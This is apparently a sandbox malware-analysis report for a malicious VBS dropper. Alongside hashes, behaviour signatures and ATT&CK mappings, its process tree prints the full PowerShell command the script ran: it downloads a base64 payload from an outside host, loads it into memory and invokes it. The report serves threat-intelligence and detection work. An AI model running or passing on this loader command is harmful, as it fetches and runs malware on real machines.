c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4

Analysis

max time kernel
44s
max time network
47s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
23-09-2022 07:00

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General

Target

518a1bd0764ca25fcf36d8a55bf2ebd9.vbs
Size

238KB
MD5

518a1bd0764ca25fcf36d8a55bf2ebd9
SHA1

d6e490cdf33972c115a035631a3db91e527b0ef3
SHA256

c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4
SHA512

b746019d51c04f97c75bbbe6ae65a74521120cb73aefee0a306c09088b2b1905d25f78c5b7e220962c2c34d11dd8bff082fef8056557acdb404e577dfcf0613b
SSDEEP

48:sK0mjzlXJj5NzzBWsoMtssbs0Qs+PM/d9Z9s3XEHDzzAA:sKDF9n0JMtswebEjAsDoA

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://contadoreshbc.com/dll_startup

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 1732 powershell.exe
5 1732 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1732 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1732 powershell.exe

flow	pid	process
4	1732	powershell.exe
5	1732	powershell.exe

pid	process
1732	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1732	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1988 wrote to memory of 1732	1988	WScript.exe	powershell.exe
PID 1988 wrote to memory of 1732	1988	WScript.exe	powershell.exe
PID 1988 wrote to memory of 1732	1988	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\518a1bd0764ca25fcf36d8a55bf2ebd9.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://contadoreshbc.com/dll_startup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('1=rev&a=psid?txt.4abeurp/esacfeirB/moc.sotercnocmc@aretrac/emoh/moc.sotercnocmc.liam//:sptth'))
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1732

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1732-55-0x0000000000000000-mapping.dmp

Download
memory/1732-57-0x000007FEF3BC0000-0x000007FEF45E3000-memory.dmp

Filesize
10.1MB

Download
memory/1732-58-0x000007FEF3060000-0x000007FEF3BBD000-memory.dmp

Filesize
11.4MB

Download
memory/1732-59-0x0000000002944000-0x0000000002947000-memory.dmp

Filesize
12KB

Download
memory/1732-60-0x000000001B710000-0x000000001BA0F000-memory.dmp

Filesize
3.0MB

Download
memory/1732-61-0x000000000294B000-0x000000000296A000-memory.dmp

Filesize
124KB

Download
memory/1732-62-0x0000000002944000-0x0000000002947000-memory.dmp

Filesize
12KB

Download
memory/1732-63-0x000000000294B000-0x000000000296A000-memory.dmp

Filesize
124KB

Download
memory/1988-54-0x000007FEFBF41000-0x000007FEFBF43000-memory.dmp

Filesize
8KB

Download